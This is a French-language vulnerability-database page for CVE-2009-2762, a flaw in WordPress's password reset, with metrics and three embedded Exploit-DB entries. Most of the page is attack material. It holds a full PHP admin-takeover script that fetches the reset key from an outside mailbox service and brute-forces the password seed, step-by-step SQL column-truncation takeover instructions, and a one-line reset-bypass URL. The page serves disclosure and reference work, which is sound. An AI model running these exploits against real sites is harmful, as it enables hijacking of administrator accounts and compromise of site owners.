CVE-2009-2762 Détail

CVE-2009-2762

OWSAP

A07-Identif. and Authent. Fail

EPSS

66.67%V3

Vecteur

Network

Publié

2009-08-13
14h00 +00:00

Modifié

2017-09-18
10h57 +00:00

Liens officiels

CVE.org

NVD

Notifications pour un CVE

Restez informé de toutes modifications pour un CVE spécifique.

Gestion des notifications

Liste des Notifications

Notifications pour un CVE

Restez informé de toutes modifications pour un CVE spécifique.

Critères appliqués l'envoi de l'alerte : par rapport à la dernière alerte envoyée + différences au niveau de CISA, EPSS, CVSS, CWE, Solutions, CPE.

Paramètres

Vous pouvez spécifier un titre qui sera récupéré dans les alertes qui seront envoyées.

Spécifiez ici un CVE ID comme CVE-2025-1234

Planifications

Mois

Prochaine exécution calculée

Jour

Jour de la semaine

Heure

Minute

Date de création

Dernière exécution

Prochaine exécution

Fonctionnalité nécessitant une connexion

Cette fonctionnalité qui vous permet de recevoir des alertes, n'est active que lorsque vous êtes connecté à votre compte.

Descriptions du CVE

wp-login.php in WordPress 2.8.3 and earlier allows remote attackers to force a password reset for the first user in the database, possibly the administrator, via a key[] array variable in a resetpass (aka rp) action, which bypasses a check that assumes that $key is not an array.

Informations du CVE

Faiblesses connexes

CWE-ID	Nom de la faiblesse	Source
CWE-255	Category : Credentials Management Errors Weaknesses in this category are related to the management of credentials.

Métriques

Métriques	Score	Gravité	CVSS Vecteur	Source
V2	7.5		AV:N/AC:L/Au:N/C:P/I:P/A:P	[email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 6421

Date de publication : 2008-09-09 22h00 +00:00
Auteur : iso^kpsbr
EDB Vérifié : Yes

#!/usr/bin/php <?php # ------------------------------------------------------------ # quick'n'dirty wordpress admin-take0ver poc # by iso^kpsbr in august 2oo8 # # works w/ wordpress 2.6.1 # # .oO( private -- do not spread! )Oo. # # you'll have to make sure you run roughly the same # php version as on the server, that is: if server # is >=5.2.1 you'll need to be as well, in case # server is <5.2.1, your php also needs to be below. # to make sure it works you'll need the exact same version! # also, mod_php works better than (f)cgi.. # (this is a first working version - not a very reliable one) # # you should create rainbow tables to make this work in a # real world scenario: # php-5.2.0/php createtables.php > wp261_php520 # php-5.2.1/php createtables.php > wp261_php521 # #------------------------------------------------------------- $BLOG = $_SERVER['argv'][1]; echo "[+] w0rdpress 2.6.1. admin takeover, iso 0808\n"; if(!$BLOG) { echo "[!] Usage: ".$_SERVER['argv'][0]." blogurl\n"; echo " fe: ".$_SERVER['argv'][0]." http://31337.biz/blog\n"; exit; } $UA = "WordpressAdminTakeover"; $MBOX="wp".`ps|md5sum|head -c 8`; $EMAIL="[email protected]"; echo (file_exists('wp261_php520') && file_exists('wp261_php521')) ? "[X] rainbow tables available\n" : "[!] rainbow tables not found - this will be really slow\n"; set_time_limit(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",20); if(!preg_match('!http://([^/]+)(.*)$!', $BLOG, $match)) { die("[!] $BLOG is no valid URL\n"); } $HOST = $match[1]; $PATH = $match[2]; if(!$PATH) $PATH='/'; echo "[-] registering new admin user\n"; $suck = fsockopen($HOST, 80) or die("[!] could not connect to $HOST:80\n"); $data = "user_login=admin".str_repeat("%20",60)."x&user_email=$EMAIL"; $req = "POST $PATH/wp-login.php?action=register HTTP/1.1\r\nHost: $HOST\r\nUser-Agent: $UA\r\nConnection: close\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: ".strlen($data)."\r\n\r\n".$data; fputs($suck, $req); sleep(1); fclose($suck); echo "[-] requesting resetlink and mail to '$EMAIL'\n"; $suck = fsockopen($HOST, 80) or die("[!] could not connect to $HOST:80\n"); $data="user_login=$EMAIL&wp-submit=Get+New+Password"; $req = "POST $PATH/wp-login.php?action=lostpassword HTTP/1.1\r\nHost: $HOST\r\nReferer: $BLOG/wp-login.php?action=lostpassword\r\nConnection: keep-alive\r\nKeep-Alive: 300\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: ".strlen($data)."\r\n\r\n".$data."\r\n"; fputs($suck, $req); echo "[.] giving $BLOG some time to deliver mail..\n"; for($i=0;$i<8;$i++) { fputs($suck,"GET / HTTP/1.1\r\nHost: $HOST\r\nConnection: keep-alive\r\nKeep-Alive: 300\r\n\r\n"); sleep(2); } echo "[-] fetching resetlink token $MBOX\n"; $PAGE = file_get_contents("http://www.nospamfor.us/mailbox.php?mailbox=$MBOX&sitename=nospamfor.us"); if(!preg_match('/.+mailid=(\d+).+?Reset/s', $PAGE, $match)) die("[!] failed to find resetmail try raising the wait-time right above\n"); $MAILID=$match[1]; echo "[-] fetching resetmail $MAILID\n"; $WHOLEMAIL=file_get_contents("http://www.nospamfor.us/mail.php?mailid=$MAILID&sitename=nospamfor.us&mailbox=$MBOX"); if(!preg_match('/key=([A-z0-9]+)/', $WHOLEMAIL, $match)) die("[!] could not find resetkey in $WHOLEMAIL\n"); $KEY=$match[1]; echo "[X] found resetkey $KEY\n"; echo "[-] resetting password\n"; $req = "GET $PATH/wp-login.php?action=rp&key=$KEY HTTP/1.1\r\nHost: $HOST\r\nUser-Agent:$UA\r\nConnection: close\r\n\r\n"; fputs($suck, $req); while(!feof($suck)) { #echo "D:". fgets($suck); } fclose($suck); echo "[-] calculating password\n"; $SEED=false; if(file_exists('wp261_php520')) { $SEED=`grep -F $KEY wp261*|cut -d : -f 1`; echo "[X] got seed $SEED from rainbow table\n"; } $PASSWORD=calcpass($KEY, $SEED); echo "[X] all done."; exit; function calcpass($resetkey, $seed = false) { mt_srand(2); $a = mt_rand(); mt_srand(3); $b = mt_rand(); define('BUGGY', $a == $b); echo "[-] wpress password computation. runnig in ".(BUGGY?'fast':'slow')." mode\n"; echo "[+] got key $resetkey via mail\n"; if(!$seed) $seed = getseed($resetkey); if($seed===false) die("[!] seed not found :( try using identical php version (< 5.2.5)\n"); mt_srand($seed); echo "[-] seed for key ".wp_generate_password(20,false)." is $seed\n"; $pass = wp_generate_password(); echo "[+] new credentials are admin:$pass\n"; return $pass; } function wp_generate_password($length = 12, $special_chars = true) { $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; if ( $special_chars ) $chars .= '!@#$%^&*()'; $password = ''; for ( $i = 0; $i < $length; $i++ ) $password .= substr($chars, mt_rand(0, strlen($chars) - 1), 1); return $password; } function getseed($resetkey) { echo "[-] calculating rand seed for $resetkey (this will take a looong time)"; $max = pow(2,(32-BUGGY)); for($x=0;$x<=$max;$x++) { $seed = BUGGY ? ($x << 1) + 1 : $x; mt_srand($seed); $testkey = wp_generate_password(20,false); if($testkey==$resetkey) { echo "o\n"; return $seed; } if(!($x % 10000)) echo "."; } echo "\n"; return false; } ?> # milw0rm.com [2008-09-10]

Exploit Database EDB-ID : 6397

Date de publication : 2008-09-06 22h00 +00:00
Auteur : irk4z
EDB Vérifié : Yes

# WordPress 2.6.1 SQL Column Truncation Vulnerability (PoC) # # found by irk4z[at]yahoo.pl # homepage: http://irk4z.wordpress.com/ # # this is not critical vuln [; # # first, read this discovery: # http://www.suspekt.org/2008/08/18/mysql-and-sql-column-truncation-vulnerabilities/ # # in this hack we can remote change admin password, if registration enabled # # greets: Stefan Esser, Lukasz Pilorz, cOndemned, tbh, sid.psycho, str0ke and all fiends 1. go to url: server.com/wp-login.php?action=register 2. register as: login: admin x email: your email ^ admin[55 space chars]x now, we have duplicated 'admin' account in database 3. go to url: server.com/wp-login.php?action=lostpassword 4. write your email into field and submit this form 5. check your email and go to reset confirmation link 6. admin's password changed, but new password will be send to correct admin email ;/ # milw0rm.com [2008-09-07]

Exploit Database EDB-ID : 9410

============================================= - Release date: August 10th, 2009 - Discovered by: Laurent GaffiÃ© - Severity: Medium ============================================= I. VULNERABILITY ------------------------- WordPress <= 2.8.3 Remote admin reset password II. BACKGROUND ------------------------- WordPress is a state-of-the-art publishing platform with a focus on aesthetics, web standards, and usability. WordPress is both free and priceless at the same time. More simply, WordPress is what you use when you want to work with your blogging software, not fight it. III. DESCRIPTION ------------------------- The way Wordpress handle a password reset looks like this: You submit your email adress or username via this form /wp-login.php?action=lostpassword ; Wordpress send you a reset confirmation like that via email: " Someone has asked to reset the password for the following site and username. http://DOMAIN_NAME.TLD/wordpress Username: admin To reset your password visit the following address, otherwise just ignore this email and nothing will happen http://DOMAIN_NAME.TLD/wordpress/wp-login.php?action=rp&key=o7naCKN3OoeU2KJMMsag " You click on the link, and then Wordpress reset your admin password, and sends you over another email with your new credentials. Let's see how it works: wp-login.php: ...[snip].... line 186: function reset_password($key) { global $wpdb; $key = preg_replace('/[^a-z0-9]/i', '', $key); if ( empty( $key ) ) return new WP_Error('invalid_key', __('Invalid key')); $user = $wpdb->get_row($wpdb->prepare("SELECT * FROM $wpdb->users WHERE user_activation_key = %s", $key)); if ( empty( $user ) ) return new WP_Error('invalid_key', __('Invalid key')); ...[snip].... line 276: $action = isset($_REQUEST['action']) ? $_REQUEST['action'] : 'login'; $errors = new WP_Error(); if ( isset($_GET['key']) ) $action = 'resetpass'; // validate action so as to default to the login screen if ( !in_array($action, array('logout', 'lostpassword', 'retrievepassword', 'resetpass', 'rp', 'register', 'login')) && false === has_filter('login_form_' . $action) ) $action = 'login'; ...[snip].... line 370: break; case 'resetpass' : case 'rp' : $errors = reset_password($_GET['key']); if ( ! is_wp_error($errors) ) { wp_redirect('wp-login.php?checkemail=newpass'); exit(); } wp_redirect('wp-login.php?action=lostpassword&error=invalidkey'); exit(); break; ...[snip ]... You can abuse the password reset function, and bypass the first step and then reset the admin password by submiting an array to the $key variable. IV. PROOF OF CONCEPT ------------------------- A web browser is sufficiant to reproduce this Proof of concept: http://DOMAIN_NAME.TLD/wp-login.php?action=rp&key[]= The password will be reset without any confirmation. V. BUSINESS IMPACT ------------------------- An attacker could exploit this vulnerability to compromise the admin account of any wordpress/wordpress-mu <= 2.8.3 VI. SYSTEMS AFFECTED ------------------------- All VII. SOLUTION ------------------------- No patch aviable for the moment. VIII. REFERENCES ------------------------- http://www.wordpress.org IX. CREDITS ------------------------- This vulnerability has been discovered by Laurent GaffiÃ© Laurent.gaffie{remove-this}(at)gmail.com I'd like to shoot some greetz to securityreason.com for them great research on PHP, as for this under-estimated vulnerability discovered by Maksymilian Arciemowicz : http://securityreason.com/achievement_securityalert/38 X. REVISION HISTORY ------------------------- August 10th, 2009: Initial release XI. LEGAL NOTICES ------------------------- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this information. # milw0rm.com [2009-08-11]